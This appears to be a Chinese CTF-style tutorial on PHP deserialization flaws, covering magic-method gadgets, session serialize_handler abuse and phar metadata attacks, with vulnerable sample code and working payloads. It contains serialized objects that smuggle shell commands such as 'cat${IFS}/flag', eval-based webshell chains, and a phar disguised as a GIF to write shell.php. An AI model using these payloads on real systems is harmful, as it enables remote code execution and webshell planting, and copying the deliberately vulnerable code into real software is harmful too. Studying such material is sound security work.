反序列化漏洞主要是反序列化的过程中某些参数可控,传入一些精心构造的字符串,从而控制内部的变量设置函数,执行想要的操作。

绕过魔术方法反序列化漏洞

__construct()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

/**
* @Author: yeSi
* @Date: 2019-03-13 10:04:17
* @Last Modified by: yeSi
* @Last Modified time: 2019-03-13 10:30:47
*/
class test2{
function __construct($test){
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class test1{
var $test = '123';
function __wakeup(){
$obj = new test2($this->test);
}
}
$class1 = $_GET['test'];
print_r($class1);
echo "</br>";
$class1_unser = unserialize($class1);
require "shell.php";
?>

这里我们给test传入构造好的序列化字符串后,进行反序列化时自动调用 wakeup()函数,从而在new ph0en1x()会自动调用对象ph0en1x中的construct()方法,从而把写入到 shell.php中

__wakeup()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class yesi{
var $test = '123456';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class1 = $_GET['test'];
print_r($class1);
echo "</br>";
$class3_unser = unserialize($class1);
require "shell.php";
// 为显示效果,把这个shell.php包含进来
?>

PUG

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(0);
include 'class.php';
if(is_array($_GET)&&count($_GET)>0)
{
if(isset($_GET["LandIn"]))
{
$pos=$_GET["LandIn"];
}
if($pos==="airport")
{
die("<center>机场大仙太多,你被打死了~</center>");
}
elseif($pos==="school")
{
echo('</br><center><a href="/index.html" style="color:white">叫我校霸~~</a></center>');
$pubg=$_GET['pubg'];
$p = unserialize($pubg);
// $p->Get_air_drops($p->weapon,$p->bag);
}
elseif($pos==="AFK")
{
die("<center>由于你长时间没动,掉到海里淹死了~</center");
}
else
{
die("<center>You Lose</center>");

}
}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
include 'waf.php';
class sheldon{
public $bag="nothing";
public $weapon="M24";
// public function __toString(){
// $this->str="You got the airdrop";
// return $this->str;
// }
public function __wakeup()
{
$this->bag="nothing";
$this->weapon="kar98K";
}
public function Get_air_drops($b)
{
$this->$b();
}
public function __call($method,$parameters)
{
$file = explode(".",$method);
echo $file[0];
if(file_exists(".//class$file[0].php"))
{
system("php .//class//$method.php");
}
else
{
system("php .//class//win.php");
}
die();
}
public function nothing()
{
die("<center>You lose</center>");
}
public function __destruct()
{
waf($this->bag);
if($this->weapon==='AWM')
{
$this->Get_air_drops($this->bag);
}
else
{
die('<center>The Air Drop is empty,you lose~</center>');
}
}
}
?>

payload

1
http://120.78.57.208:6001/?LandIn=school&pubg=O:7:"sheldon":3:{s:3:"bag";s:27:"//win.php| cat ./class/flag";s:6:"weapon";s:3:"AWM";}

2017百越杯awd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class home{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($host){
system("ping -c 2 $host");
}
function waf($str){
$str=str_replace(' ','',$str);
return $str;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
}
}
}
$a=@$_POST['a'];
@unserialize($a);
?>

构造序列化:

1
2
3
4
5
6
7
8
9
<?php

class home{
private $method="ping";
private $args=array('1|cat${IFS}/flag');
}
$test=new home();
print_r(serialize($test));
?>

最后payload

1
2
post:
O:4:"home":2:{s:12:"%00home%00method";s:4:"ping";s:10:"%00home%00args";a:1:{i:0;s:16:"1|cat${IFS}/flag";}}

session反序列化漏洞

实际利用

参照此链接
https://blog.spoock.com/2016/10/16/php-serialize-problem/#%E5%AE%9E%E9%99%85%E5%88%A9%E7%94%A8

安恒杯中的一题

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>这是foo1的析构函数<br>";
}
}

class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>这是foo2的析构函数<br>";
}
}

class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "<br>这是foo3的析构函数<br>";
}
}

?

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

ini_set('session.serialize_handler', 'php');

require("./class.php");

session_start();

$obj = new foo1();

$obj->varr = "phpinfo.php";

?>

参照此链接:
http://blog.nuptzj.cn/post/105
或者
https://blog.spoock.com/2016/10/16/php-serialize-problem/#CTF

oj一题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

解法
upload.html

1
2
3
4
5
<form action="index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

answer.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/**
* @Author: yeSi
* @Date: 2019-03-13 14:50:08
* @Last Modified by: yeSi
* @Last Modified time: 2019-03-13 17:41:13
*/
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

}
$test=new OowoO();
$test->mdzz="print_r(scandir(dirname(__FILE__)));";
print_r("|".serialize($test));


?>

查看根目录

查看文件

读取文件

phar反序列化漏洞

生成yesi.phar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
class not_useful{
var $file = "<?php phpinfo() ?>";
}

@unlink("yesi.phar");
$test = new not_useful();
$phar = new Phar("yesi.phar"); //实例一个phar对象供后续操作

$phar->startBuffering(); //开始缓冲Phar写操作
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); // 增加gif文件头
$phar->setMetadata($test);
$phar->addFromString("test.txt","test"); //以字符串的形式添加一个文件到 phar 档案

$phar->stopBuffering();
?>

可以改成任意后缀,主要是为了过白名单检测后缀。
改成yesi.gif
cmd.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$recieve = $_GET['recieve'];
/*写入文件类操作*/
class not_useful{
var $file;

function __destruct(){
$fp = fopen("C:\phpStudy\PHPTutorial\WWW\shell.php","w"); //自定义写入路径
fputs($fp,$this->file);
fclose($fp);
}

file_get_contents($recieve);

?>

访问

1
192.168.0.31/cmd.php?recieve=phar://yesi.gif/test.txt

即可生成shell.php

参考文章:
浅谈php反序列化漏洞:https://chybeta.github.io/2017/06/17/%E6%B5%85%E8%B0%88php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
PHP中SESSION反序列化机制
https://blog.spoock.com/2016/10/16/php-serialize-problem/
magic函数__wakeup()引发的漏洞
http://www.venenof.com/index.php/archives/167/
利用 phar 拓展 php 反序列化漏洞攻击面
https://paper.seebug.org/680/#22-demo